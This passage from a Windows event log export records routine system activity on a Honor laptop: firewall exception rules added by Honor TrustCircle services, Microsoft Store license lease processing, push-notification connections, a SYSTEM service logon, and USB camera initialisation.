Public\n\tAction:\tAllow\n\tApplication Path:\tC:\\Program Files\\HONOR\\TrustCircle\\HnVirtualPeripheral.exe\n\tService Name:\t\n\tProtocol:\tAny\n\tSecurity Options:\tNone\n\tEdge Traversal:\tNone\n\tModifying User:\tS-1-5-18\n\tModifying Application:\tC:\\Program Files\\Honor\\TrustCircle\\HnTrustCircleService.exe\n\tPolicyAppId:\t\n\tError Code:\t0\"\tInformation\tMicrosoft-Windows-Windows Firewall With Advanced Security/Firewall\tMicrosoft-Windows-Windows Firewall With Advanced Security\n05.09.2026 08:31:07.684\t2099\t\"A rule has been modified in the Windows Defender Firewall exception list.\n\nModified Rule:\n\tRule ID:\t{43E68C43-E8D1-4C09-864D-7E0F9CCC962C}\n\tRule Name:\tHNEXSCREEN\n\tOrigin:\t0\n\tActive:\tYes\n\tDirection:\tInbound\n\tProfiles:\tPublic\n\tAction:\tAllow\n\tApplication Path:\tC:\\Program Files\\Honor\\TrustCircle\\HnExScreen.exe\n\tService Name:\t\n\tProtocol:\tTCP\n\tSecurity Options:\tNone\n\tEdge Traversal:\tNone\n\tModifying User:\tS-1-5-18\n\tModifying Application:\tC:\\Program Files\\Honor\\TrustCircle\\HnTrustCircleService.exe\n\tPolicyAppId:\t\n\tError Code:\t2\"\tInformation\tMicrosoft-Windows-Windows Firewall With Advanced Security/Firewall\tMicrosoft-Windows-Windows Firewall With Advanced Security\n05.09.2026 08:31:07.687\t2097\t\"A rule has been added to the Windows Defender Firewall exception list.\n\nAdded Rule:\n\tRule ID:\t{43E68C43-E8D1-4C09-864D-7E0F9CCC962C}\n\tRule Name:\tHNEXSCREEN\n\tOrigin:\tLocal\n\tActive:\tYes\n\tDirection:\tInbound\n\tProfiles:\tPublic\n\tAction:\tAllow\n\tApplication Path:\tC:\\Program Files\\Honor\\TrustCircle\\HnExScreen.exe\n\tService Name:\t\n\tProtocol:\tTCP\n\tSecurity Options:\tNone\n\tEdge Traversal:\tNone\n\tModifying User:\tS-1-5-18\n\tModifying Application:\tC:\\Program Files\\Honor\\TrustCircle\\HnTrustCircleService.exe\n\tPolicyAppId:\t\n\tError Code:\t0\"\tInformation\tMicrosoft-Windows-Windows Firewall With Advanced Security/Firewall\tMicrosoft-Windows-Windows Firewall With Advanced Security\n05.09.2026 08:31:07.690\t2099\t\"A rule has been modified in the Windows Defender Firewall exception list.\n\nModified Rule:\n\tRule ID:\t{B07A023E-B5BE-4B28-B4B8-8D0C49BC00EA}\n\tRule Name:\tHNEXSCREEN\n\tOrigin:\t0\n\tActive:\tYes\n\tDirection:\tInbound\n\tProfiles:\tPublic\n\tAction:\tAllow\n\tApplication Path:\tC:\\Program Files\\Honor\\TrustCircle\\HnExScreen.exe\n\tService Name:\t\n\tProtocol:\tUDP\n\tSecurity Options:\tNone\n\tEdge Traversal:\tNone\n\tModifying User:\tS-1-5-18\n\tModifying Application:\tC:\\Program Files\\Honor\\TrustCircle\\HnTrustCircleService.exe\n\tPolicyAppId:\t\n\tError Code:\t2\"\tInformation\tMicrosoft-Windows-Windows Firewall With Advanced Security/Firewall\tMicrosoft-Windows-Windows Firewall With Advanced Security\n05.09.2026 08:31:07.692\t2097\t\"A rule has been added to the Windows Defender Firewall exception list.\n\nAdded Rule:\n\tRule ID:\t{B07A023E-B5BE-4B28-B4B8-8D0C49BC00EA}\n\tRule Name:\tHNEXSCREEN\n\tOrigin:\tLocal\n\tActive:\tYes\n\tDirection:\tInbound\n\tProfiles:\tPublic\n\tAction:\tAllow\n\tApplication Path:\tC:\\Program Files\\Honor\\TrustCircle\\HnExScreen.exe\n\tService Name:\t\n\tProtocol:\tUDP\n\tSecurity Options:\tNone\n\tEdge Traversal:\tNone\n\tModifying User:\tS-1-5-18\n\tModifying Application:\tC:\\Program Files\\Honor\\TrustCircle\\HnTrustCircleService.exe\n\tPolicyAppId:\t\n\tError Code:\t0\"\tInformation\tMicrosoft-Windows-Windows Firewall With Advanced Security/Firewall\tMicrosoft-Windows-Windows Firewall With Advanced Security\n05.09.2026 08:31:07.702\t2099\t\"A rule has been modified in the Windows Defender Firewall exception list.\n\nModified Rule:\n\tRule ID:\t{0B0162F8-B4FF-4EA4-B34B-3D20774B1359}\n\tRule Name:\tHNEXSCREEN\n\tOrigin:\t0\n\tActive:\tYes\n\tDirection:\tInbound\n\tProfiles:\tPrivate,Domain, Public\n\tAction:\tAllow\n\tApplication Path:\tC:\\Program Files\\HONOR\\TrustCircle\\HnExScreen.exe\n\tService Name:\t\n\tProtocol:\tAny\n\tSecurity Options:\tNone\n\tEdge Traversal:\tNone\n\tModifying User:\tS-1-5-18\n\tModifying Application:\tC:\\Program Files\\Honor\\TrustCircle\\HnTrustCircleService.exe\n\tPolicyAppId:\t\n\tError Code:\t2\"\tInformation\tMicrosoft-Windows-Windows Firewall With Advanced Security/Firewall\tMicrosoft-Windows-Windows Firewall With Advanced Security\n05.09.2026 08:31:07.705\t2097\t\"A rule has been added to the Windows Defender Firewall exception list.\n\nAdded Rule:\n\tRule ID:\t{0B0162F8-B4FF-4EA4-B34B-3D20774B1359}\n\tRule Name:\tHNEXSCREEN\n\tOrigin:\tLocal\n\tActive:\tYes\n\tDirection:\tInbound\n\tProfiles:\tPrivate,Domain, Public\n\tAction:\tAllow\n\tApplication Path:\tC:\\Program Files\\HONOR\\TrustCircle\\HnExScreen.exe\n\tService Name:\t\n\tProtocol:\tAny\n\tSecurity Options:\tNone\n\tEdge Traversal:\tNone\n\tModifying User:\tS-1-5-18\n\tModifying Application:\tC:\\Program Files\\Honor\\TrustCircle\\HnTrustCircleService.exe\n\tPolicyAppId:\t\n\tError Code:\t0\"\tInformation\tMicrosoft-Windows-Windows Firewall With Advanced Security/Firewall\tMicrosoft-Windows-Windows Firewall With Advanced Security\n05.09.2026 08:31:07.801\t2052\t\"A rule has been deleted in the Windows Defender Firewall exception list.\n\nDeleted Rule:\n\tRule ID:\t{844036A5-D395-47A0-BFA8-252D279FD75C}\n\tRule Name:\tHNVCR\n\tModifying User:\tS-1-5-18\n\tModifying Application:\tC:\\Program Files\\Honor\\TrustCircle\\HnTrustCircleService.exe\n\tError Code:\t0\"\tInformation\tMicrosoft-Windows-Windows Firewall With Advanced Security/Firewall\tMicrosoft-Windows-Windows Firewall With Advanced Security\n05.09.2026 08:31:07.830\t2099\t\"A rule has been modified in the Windows Defender Firewall exception list.\n\nModified Rule:\n\tRule ID:\t{77457934-994E-4619-8481-5A562AAFB199}\n\tRule Name:\tHNVCR\n\tOrigin:\t0\n\tActive:\tYes\n\tDirection:\tInbound\n\tProfiles:\tPrivate,Domain, Public\n\tAction:\tAllow\n\tApplication Path:\tC:\\Program Files\\HONOR\\TrustCircle\\HNVCR.exe\n\tService Name:\t\n\tProtocol:\tTCP\n\tSecurity Options:\tNone\n\tEdge Traversal:\tNone\n\tModifying User:\tS-1-5-18\n\tModifying Application:\tC:\\Program Files\\Honor\\TrustCircle\\HnTrustCircleService.exe\n\tPolicyAppId:\t\n\tError Code:\t2\"\tInformation\tMicrosoft-Windows-Windows Firewall With Advanced Security/Firewall\tMicrosoft-Windows-Windows Firewall With Advanced Security\n05.09.2026 08:31:07.833\t2097\t\"A rule has been added to the Windows Defender Firewall exception list.\n\nAdded Rule:\n\tRule ID:\t{77457934-994E-4619-8481-5A562AAFB199}\n\tRule Name:\tHNVCR\n\tOrigin:\tLocal\n\tActive:\tYes\n\tDirection:\tInbound\n\tProfiles:\tPrivate,Domain, Public\n\tAction:\tAllow\n\tApplication Path:\tC:\\Program Files\\HONOR\\TrustCircle\\HNVCR.exe\n\tService Name:\t\n\tProtocol:\tTCP\n\tSecurity Options:\tNone\n\tEdge Traversal:\tNone\n\tModifying User:\tS-1-5-18\n\tModifying Application:\tC:\\Program Files\\Honor\\TrustCircle\\HnTrustCircleService.exe\n\tPolicyAppId:\t\n\tError Code:\t0\"\tInformation\tMicrosoft-Windows-Windows Firewall With Advanced Security/Firewall\tMicrosoft-Windows-Windows Firewall With Advanced Security\n05.09.2026 08:31:07.952\t5058\t\"Key file operation.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nProcess Information:\n\tProcess ID:\t\t2948\n\tProcess Creation Time:\t\u200e2026\u200e-\u200e09\u200e-\u200e05T01:31:02.375569800Z\n\nCryptographic Parameters:\n\tProvider Name:\tMicrosoft Software Key Storage Provider\n\tAlgorithm Name:\tUNKNOWN\n\tKey Name:\tB27EAB5EBD405C968CD635ABFB18512102735CA868E2034C962198471AE8987F\n\tKey Type:\tUser key.\n\nKey File Operation Information:\n\tFile Path:\tC:\\ProgramData\\Microsoft\\Crypto\\SystemKeys\\7850c5a22ed35c8d4f5f84e1175f284f_aae0f96c-9dfa-4728-bee3-a8368e406b6b\n\tOperation:\tRead persisted key from file.\n\tReturn Code:\t0x0\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:31:07.953\t5061\t\"Cryptographic operation.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nCryptographic Parameters:\n\tProvider Name:\tMicrosoft Software Key Storage Provider\n\tAlgorithm Name:\tECDH_P256\n\tKey Name:\tB27EAB5EBD405C968CD635ABFB18512102735CA868E2034C962198471AE8987F\n\tKey Type:\tUser key.\n\nCryptographic Operation:\n\tOperation:\tOpen Key.\n\tReturn Code:\t0x0\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:31:09.776\t8011\t0x21f83178e90: 13668: EEE53744-2BB9-BCA2-A50A-C6A1C5B0A0ED: Dispatch: Key:Unregistered => Key:Valid\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:31:09.776\t8001\t\"Lease dropped\nFunction: KeyMachine::DoDropLease\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (279)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:31:09.776\t8012\t0x21f83178e90: 13668: Key:Valid Change: Key:Invalid => EEE53744-2BB9-BCA2-A50A-C6A1C5B0A0ED\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:31:09.776\t8001\t\"Set results for lease = 0x0, policy = 0, operation = 0, Leasebehavior = 0\nFunction: KeyMachine::DoSetResult\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (1520)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:31:09.776\t8011\t0x21f8312aa20: 13728: {7BA318A1-DC47-F731-723C-537E883DC563}: Dispatch: Lease:RemoveKey => Lease:Valid\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:31:09.777\t8011\t0x21f8312aa20: 13728: {7BA318A1-DC47-F731-723C-537E883DC563}: Dispatch: Lease:Unregistered => Lease:Valid\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:31:09.777\t8012\t0x21f8312aa20: 13728: Lease:Valid Change: Lease:Invalid => {7BA318A1-DC47-F731-723C-537E883DC563}\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:31:09.777\t8001\t\"Requesting lease document removal for reason 0x00000000, {7BA318A1-DC47-F731-723C-537E883DC563}\nFunction: LicenseManagerCore::DoRemoveLeaseDocumentWithId\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\managercore.cpp (1460)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:31:09.780\t8001\t\"Decoding: {\"\"entitlementId\"\":\"\"200dc622-8cbd-e337-4d4b-69d2fa6e7df7\"\",\"\"entitlementSatisfaction\"\":\"\"Device\"\",\"\"isOffline\"\":true,\"\"leaseEnforcement\"\":\"\"None\"\",\"\"leaseUri\"\":\"\"https://licensing.md.mp.microsoft.com/v7.0/licenses/?beneficiaryId=msahwonecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cppa6966575679381420&contentId=eee53744-2bb9-bca2-a50a-c6a1c5b0a0ed&entitlementId=200dc622-8cbd-e337-4d4b-69d2fa6e7df7&market=RU&policyType=Device\"\",\"\"keyIds\"\":[\"\"0f8e2cd5-b8eb-7a22-b9e9-9b1183fa0a84\"\"],\"\"kind\"\":\"\"Content\"\",\"\"packages\"\":[{\"\"packageIdentifier\"\":\"\"eee53744-2bb9-bca2-a50a-c6a1c5b0a0ed\"\",\"\"packageType\"\":\"\"msix\"\",\"\"productAddOns\"\":[],\"\"productId\"\":\"\"9NMPJ99VJBWV\"\",\"\"skuId\"\":\"\"0010\"\"}],\"\"pollAt\"\":\"\"2026-08-04T14:54:13.8630559+00:00\"\",\"\"refreshOnStartup\"\":false,\"\"version\"\":7}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:31:09.780\t8001\t\"Ignoring lease removal with reason 0x00000000 because this is an offline lease\n\nFunction: ClipStorage::RemoveLeaseDocumentWithIdAndReason\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (501)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:31:09.781\t8002\t\"Trying to remove timer {7BA318A1-DC47-F731-723C-537E883DC563} not in table\nFunction: MemoryTimerService::CancelTimerWithId\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\memorytimer.cpp (80)\"\tWarning\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:31:09.781\t8001\t\"Removed timer for {7BA318A1-DC47-F731-723C-537E883DC563}\nFunction: MemoryTimerService::CleanupTimer\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\memorytimer.cpp (19)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:31:11.107\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"23528CA76A0\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:31:11.112\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:31:11.329\t8001\t\"Invoking license manager because license/lease polling time up: PFN A025C540.Yandex.Music_4.54.8517.0_x64__vfvw9svesycw6\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (361)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:31:11.330\t8001\t\"ServicePackageRundownNotificationImpl PsmKey:A025C540.Yandex.Music_4.54.8517.0_x64__vfvw9svesycw6+App, sid:S-1-5-21-3712849175-2219398513-4278588552-1006\nFunction: ServicePackageRundownNotificationImpl\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\service.cpp (2587)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:31:11.330\t8011\t0x21f831d39d0: 13668: 80DAF1F6-7AFC-6D23-2C3C-F1E0A663029A: Dispatch: Key:Unregistered => Key:Valid\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:31:11.330\t8001\t\"Lease dropped\nFunction: KeyMachine::DoDropLease\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (279)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:31:11.330\t8012\t0x21f831d39d0: 13668: Key:Valid Change: Key:Invalid => 80DAF1F6-7AFC-6D23-2C3C-F1E0A663029A\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:31:11.330\t8001\t\"Set results for lease = 0x0, policy = 0, operation = 0, Leasebehavior = 0\nFunction: KeyMachine::DoSetResult\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (1520)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:31:11.330\t8011\t0x21f8312b620: 13668: {1173A7B1-89F2-09CC-0563-CDED7D7397B9}: Dispatch: Lease:RemoveKey => Lease:Valid\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:31:11.330\t8011\t0x21f8312b620: 13668: {1173A7B1-89F2-09CC-0563-CDED7D7397B9}: Dispatch: Lease:Unregistered => Lease:Valid\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:31:11.330\t8012\t0x21f8312b620: 13668: Lease:Valid Change: Lease:Invalid => {1173A7B1-89F2-09CC-0563-CDED7D7397B9}\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:31:11.330\t8001\t\"Requesting lease document removal for reason 0x00000000, {1173A7B1-89F2-09CC-0563-CDED7D7397B9}\nFunction: LicenseManagerCore::DoRemoveLeaseDocumentWithId\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\managercore.cpp (1460)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:31:11.332\t8001\t\"Decoding: {\"\"entitlementId\"\":\"\"2be1da80-9d39-1a56-8b4b-dca10f958cc2\"\",\"\"entitlementSatisfaction\"\":\"\"Device\"\",\"\"isOffline\"\":true,\"\"leaseEnforcement\"\":\"\"None\"\",\"\"leaseUri\"\":\"\"https://licensing.md.mp.microsoft.com/v7.0/licenses/?beneficiaryId=msaonecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cppa844426170627778&contentId=80daf1f6-7afc-6d23-2c3c-f1e0a663029a&entitlementId=2be1da80-9d39-1a56-8b4b-dca10f958cc2&market=RU&policyType=Device\"\",\"\"keyIds\"\":[\"\"de7849ea-b8e4-60d1-c780-7b0969a99e76\"\"],\"\"kind\"\":\"\"Content\"\",\"\"packages\"\":[{\"\"packageIdentifier\"\":\"\"80daf1f6-7afc-6d23-2c3c-f1e0a663029a\"\",\"\"packageType\"\":\"\"msix\"\",\"\"productAddOns\"\":[],\"\"productId\"\":\"\"9NBLGGH0CB6D\"\",\"\"skuId\"\":\"\"0010\"\"}],\"\"pollAt\"\":\"\"2026-09-04T15:27:12.2174791+00:00\"\",\"\"refreshOnStartup\"\":false,\"\"version\"\":7}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:31:11.332\t8001\t\"Ignoring lease removal with reason 0x00000000 because this is an offline lease\n\nFunction: ClipStorage::RemoveLeaseDocumentWithIdAndReason\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (501)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:31:11.333\t8002\t\"Trying to remove timer {1173A7B1-89F2-09CC-0563-CDED7D7397B9} not in table\nFunction: MemoryTimerService::CancelTimerWithId\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\memorytimer.cpp (80)\"\tWarning\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:31:11.333\t8001\t\"Removed timer for {1173A7B1-89F2-09CC-0563-CDED7D7397B9}\nFunction: MemoryTimerService::CleanupTimer\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\memorytimer.cpp (19)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:31:11.920\t1005\tThe Connection Provider status changed to Disconnected.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:31:11.920\t42\tCloud Notifications must be enabled in GP and MDM to receive push notifications. GroupPolicyValue: true, MDMPolicyValue: true.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:31:11.920\t37\tThe Windows Push Notification Platform is required to connect on startup, ValidChannelsExist : true.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:31:11.935\t1022\tConnectWork is requesting ConnectionManager to connect.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:31:11.944\t1113\tDevice Compact Ticket request completed with Device Id 00180018E4F8342E for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:31:11.945\t1205\tWNP Transport Layer Disconnect call initiated for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:31:13.020\t8001\t\"Skipping license manager: PFN Microsoft.WindowsFeedbackHub_2.2606.702.0_x64__8wekyb3d8bbwe\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (373)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:31:13.646\t217\tDestroyed Desktop AppX container {245CDC17-A8C9-11F1-B7FF-289200F24A99} for package Microsoft.DesktopAppInstaller_1.29.290.0_x64__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 08:31:29.444\t1005\tThe Connection Provider status changed to Disconnected.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:31:29.444\t42\tCloud Notifications must be enabled in GP and MDM to receive push notifications. GroupPolicyValue: true, MDMPolicyValue: true.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:31:29.444\t37\tThe Windows Push Notification Platform is required to connect on startup, ValidChannelsExist : true.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:31:29.457\t1022\tConnectWork is requesting ConnectionManager to connect.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:31:29.471\t1113\tDevice Compact Ticket request completed with Device Id 00180018E4F8342E for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:31:29.483\t1207\tWNP Transport Layer resolving DNS initiated for host client.wns.windows.com for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:31:29.490\t1208\tWNP Transport Layer resolving DNS completed for the Data Connection with code The operation completed successfully..\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:31:29.490\t1211\tWNP Transport Layer initial server connection initiated to server client.wns.windows.com on port 443 for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:31:32.920\t16384\tSuccessfully scheduled Software Protection service for re-start at 2126-08-12T01:31:32Z. Reason: RulesEngine.\tInformation\tApplication\tMicrosoft-Windows-Security-SPP\n05.09.2026 08:31:38.053\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:31:38.053\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:31:38.173\t6\tFrameServer FsProxy Initialization Start, SymbolicLink: \\\\?\\usb#vid_5858&pid_1004&mi_00#6&55f168&0&0000#{65e8773d-8f56-11d0-a3b9-00a0c9223196}\\global, Devices: 1, StreamType: MASTER.\tInformation\tMicrosoft-Windows-MF-FrameServer/Camera_FrameServer\tMicrosoft-Windows-MF-FrameServer\n05.09.2026 08:31:38.190\t11\t\"FrameServer WatchdogTimer Start Event, TimerScope: FSSource, TimerScopeId: 0, WatchdogOperation: Initialize, DurationToTriggerInHns: 300000000, \nSymbolicLink: \\\\?\\USB#VID_5858&PID_1004&MI_00#6&55f168&0&0000#{e5323777-f976-4f5b-9b55-b94699c46e44}\\global.\"\tInformation\tMicrosoft-Windows-MF-FrameServer/Camera_FrameServer\tMicrosoft-Windows-MF-FrameServer\n05.09.2026 08:31:38.190\t200\tStart of PowerUpDevice\tInformation\tMicrosoft-Windows-USBVideo/Operational\tMicrosoft-Windows-USBVideo\n05.09.2026 08:31:38.190\t201\tStop of PowerUpDevice\tInformation\tMicrosoft-Windows-USBVideo/Operational\tMicrosoft-Windows-USBVideo\n05.09.2026 08:31:38.190\t217\tFilterIrp Pending\tInformation\tMicrosoft-Windows-USBVideo/Operational\tMicrosoft-Windows-USBVideo\n05.09.2026 08:31:38.252\t204\tStart of StartUSBVideoDevice\tInformation\tMicrosoft-Windows-USBVideo/Operational\tMicrosoft-Windows-USBVideo\n05.09.2026 08:31:38.252\t205\tStop of StartUSBVideoDevice\tInformation\tMicrosoft-Windows-USBVideo/Operational\tMicrosoft-Windows-USBVideo\n05.09.2026 08:31:38.252\t215\tStart of PowerIrpCompletion\tInformation\tMicrosoft-Windows-USBVideo/Operational\tMicrosoft-Windows-USBVideo\n05.09.2026 08:31:38.252\t220\tPowerIrp_CheckingPLFRegistry\tInformation\tMicrosoft-Windows-USBVideo/Operational\tMicrosoft-Windows-USBVideo\n05.09.2026 08:31:38.252\t216\tStop of PowerIrpCompletion\tInformation\tMicrosoft-Windows-USBVideo/Operational\tMicrosoft-Windows-USBVideo\n05.09.2026 08:31:38.253\t218\tFilterIrp Completed\tInformation\tMicrosoft-Windows-USBVideo/Operational\tMicrosoft-Windows-USBVideo\n05.09.2026 08:31:38.253\t218\tFilterIrp Completed\tInformation\tMicrosoft-Windows-USBVideo/Operational\tMicrosoft-Windows-USBVideo\n05.09.2026 